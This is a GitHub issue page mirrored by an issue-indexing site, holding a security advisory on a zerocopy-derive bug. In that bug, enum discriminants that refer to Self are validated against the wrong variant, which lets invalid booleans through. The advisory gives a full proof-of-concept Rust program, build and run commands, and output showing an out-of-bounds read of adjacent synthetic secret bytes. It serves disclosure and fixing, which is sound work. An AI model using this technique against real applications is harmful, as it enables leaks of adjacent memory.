google / google/zerocopy

Security Advisory: Self-dependent enum discriminants admit invalid values and disclose adjacent memory

Open
#3,619 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Rust
Stars
2.6k
Forks
179
Avg merge
1d 19h
Merged PRs (30d)
29

Description

*The following was reported by OpenAI via email:*

- **Vulnerability Type:** Incorrect validity checking / out-of-bounds read / information disclosure
- **Affected Software:** zerocopy-derive
- **Date:** September 2026
- **Discoverer:** OpenAI (OutboundDisclosures@openai.com)

## Summary

`#[derive(TryFromBytes)]` can validate the wrong enum variant when a discriminant expression refers to `Self`. The derive copies that expression into a generated helper enum, where `Self` denotes the helper rather than the application's enum. If the expression resolves differently in the two contexts, the generated validation routine can accept bytes that are invalid for the actual variant.

The reproduction below defines an enum containing `Flag(bool)` and `Raw(u8)`. A safe blanket trait supplies a default `TAG` constant, while the application enum has an inherent constant of the same name. The actual enum and the generated helper consequently assign opposite tags to their variants. An attacker-supplied two-byte packet is validated as an unrestricted byte and returned as an invalid boolean. In an optimized native build, ordinary safe indexing with that boolean reads beyond a two-byte public response table and discloses adjacent synthetic secret bytes.

**Threat model:** The application must already contain an affected enum declaration, such as the constant-name collision demonstrated here, and parse attacker-controlled bytes into it. After compilation, the attacker only needs control of the packet bytes. Literal discriminants without this context-dependent resolution do not satisfy the demonstrated prerequisite. This is a library soundness defect with a validated, conditional information-disclosure consequence; we have not demonstrated remote code execution or established that a production service contains this schema.

**Affected version and revision:** The original audit examined `zerocopy 0.8.56` and `zerocopy-derive 0.8.56` at public repository revision `2dad389b030e9268d6645ac0bf0626b867e96068`. The standalone reproduction below uses published version `0.8.56` of both crates, whose package metadata identifies revision `6dc429c451bdf1d7202ec1ec2cf426514e00d8eb`. The affected code is unchanged between these sources. We have not exhaustively tested other versions.

**Environment:** Native reproduction on macOS arm64 (`aarch64-apple-darwin`) with Rust 1.98.1 (`48a229cea`, LLVM 22.1.8). Miri reproduction with `nightly-2026-09-04`, Rust 1.100.0-nightly (`a69a63265`, 2026-09-03), and Miri 0.1.0 (`a69a63265c`). The native out-of-bounds result depends on optimization; Miri independently confirms the invalid boolean.

## Sketch of the attack

The example models a server whose public responses are selected by a parsed boolean:

```rust
// In the actual enum, tag 1 means Flag(bool).
let wire = [1, 2];
let packet = Packet::try_ref_from_bytes(&wire).unwrap();

// The derive validated tag 1 as Raw(u8), so the invalid bool value 2 escaped.
match packet {
Packet::Flag(flag) => replies.public[usize::from(*flag)],
Packet::Raw(byte) => *byte,
};
```

Under the hood:

- `Self::TAG` resolves to the application's inherent `TAG = 1` in the original enum.
- The helper enum has no such inherent constant. The copied expression resolves to the blanket trait's `TAG = 0` instead.
- The helper therefore validates tag 1 as `Raw(u8)`, whose payload permits every byte value. The actual tag 1 variant is `Flag(bool)`, which permits only zero or one.
- The compiler can omit a bounds check when a valid boolean indexes a two-element array. Once the library supplies an invalid boolean, that safety premise is false. In the tested optimized build, payloads 2 through 7 read the six bytes immediately after the public array.

## Full repro

Save the following as `Cargo.toml`:

```toml
[package]
name = "zerocopy-enum-discriminant-repro"
version = "0.1.0"
edition = "2024"

[workspace]

[dependencies]
zerocopy = { version = "=0.8.56", features = ["derive", "std", "simd"] }
proc-macro2 = { version = "=1.0.80", default-features = false }
quote = { version = "=1.0.40", default-features = false }
syn = { version = "=2.0.56", default-features = false }
unicode-ident = { version = "=1.0.22", default-features = false }
```

Save this complete program as `src/bin/enum_discriminant.rs`:

```rust
#![forbid(unsafe_code)]

use zerocopy::{Immutable, KnownLayout, TryFromBytes};

trait DefaultTag {
const TAG: u8 = 0;
}
impl DefaultTag for T {}

#[derive(Immutable, KnownLayout, TryFromBytes)]
#[repr(u8)]
enum Packet {
Flag(bool) = Self::TAG,
Raw(u8) = 1 - Self::TAG,
}

impl Packet {
const TAG: u8 = 1;
}

#[repr(C)]
struct ServerReplies {
public: [u8; 2],
secret: [u8; 6],
}

#[inline(never)]
fn respond(packet: &Packet, replies: &ServerReplies) -> u8 {
match packet {
Packet::Flag(flag) => replies.public[usize::from(*flag)],
Packet::Raw(byte) => *byte,
}
}

fn main() {
let index = std::env::args()
.nth(1)
.map_or(2, |s| s.parse::().unwrap());
let wire = std::hint::black_box([1, index]);
let replies = std::hint::black_box(ServerReplies {
public: *b"AB",
secret: *b"SECRET",
});
let packet = Packet::try_ref_from_bytes(&wire).unwrap();
println!("wire={wire:?}; reply=0x{:02x}", respond(packet, &replies));
}
```

Generate the lockfile after saving the program, build, and run the native demonstration:

```sh
cargo +stable generate-lockfile
cargo +stable build --locked --release --bin enum_discriminant
for byte in 0 1 2 3 4 5 6 7; do
./target/release/enum_discriminant "$byte"
done
```

Observed output:

```text
wire=[1, 0]; reply=0x41
wire=[1, 1]; reply=0x42
wire=[1, 2]; reply=0x53
wire=[1, 3]; reply=0x45
wire=[1, 4]; reply=0x43
wire=[1, 5]; reply=0x52
wire=[1, 6]; reply=0x45
wire=[1, 7]; reply=0x54
```

The first two replies are the permitted public bytes `A` and `B`. The next six spell `SECRET`, which is outside the public response array. The fixture deliberately places synthetic secret data next to that array; this is not a claim that every application arranges sensitive data identically.

Run the same program with Miri:

```sh
MIRIFLAGS='-Zmiri-strict-provenance' \
cargo +nightly-2026-09-04 miri run --locked --bin enum_discriminant -- 2
```

Miri exits with an error at the `*flag` read:

```text
error: Undefined Behavior: constructing invalid value of type bool: encountered 0x02, but expected a boolean
```

This error is the expected reproduction result. The Rust Reference requires a boolean to be zero or one and requires the fields of an enum's actual variant to be valid at their types. [Validity rules](https://doc.rust-lang.org/reference/behavior-considered-undefined.html#invalid-values).

## Root cause

The links below refer to the original audited revision `2dad389b030e9268d6645ac0bf0626b867e96068`. The same affected code is present in published version `0.8.56`.

1. [`generate_tag_enum`](https://github.com/google/zerocopy/blob/2dad389b030e9268d6645ac0bf0626b867e96068/zerocopy/zerocopy-derive/src/util.rs#L826-L850) copies each discriminant expression directly into `___ZerocopyTag`. It does not preserve the original enum as the meaning of `Self`.
2. [`generate_tag_consts`](https://github.com/google/zerocopy/blob/2dad389b030e9268d6645ac0bf0626b867e96068/zerocopy/zerocopy-derive/src/derive/try_from_bytes.rs#L32-L55) computes validation constants from that helper enum. In the reproduction, these constants describe the opposite variant assignments from the original type.
3. The generated [`is_bit_valid` match arms](https://github.com/google/zerocopy/blob/2dad389b030e9268d6645ac0bf0626b867e96068/zerocopy/zerocopy-derive/src/derive/try_from_bytes.rs#L304-L339) validate the payload selected by the helper tag. The [final match](https://github.com/google/zerocopy/blob/2dad389b030e9268d6645ac0bf0626b867e96068/zerocopy/zerocopy-derive/src/derive/try_from_bytes.rs#L439-L442) can therefore report success without validating the actual variant's payload.
4. This breaks [`TryFromBytes::is_bit_valid`'s contract](https://github.com/google/zerocopy/blob/2dad389b030e9268d6645ac0bf0626b867e96068/zerocopy/src/lib.rs#L1752-L1777): a successful check must mean the bytes contain a valid instance of the target type.

Discriminant evaluation must preserve the original enum's context. Rejecting expressions whose meaning cannot be preserved is safer than evaluating them as members of a different type.

## Disclaimer

This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.

OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.

Contributor guide

Open the contributing guide

Research direction

Start with generate_tag_enum in zerocopy/zerocopy-derive/src/util.rs and generate_tag_consts plus the is_bit_valid match arms in zerocopy/zerocopy-derive/src/derive/try_from_bytes.rs. Run the supplied enum_discriminant reproduction and Miri command to observe the invalid bool, then verify the change against TryFromBytes::is_bit_valid in zerocopy/src/lib.rs. Done means discriminants retain the original enum context or are safely rejected, with the reproduction no longer succeeding.

Written by the indexing model from the issue text.

Assessment

Tech stack
rust
Domain
security, tooling
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
38/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.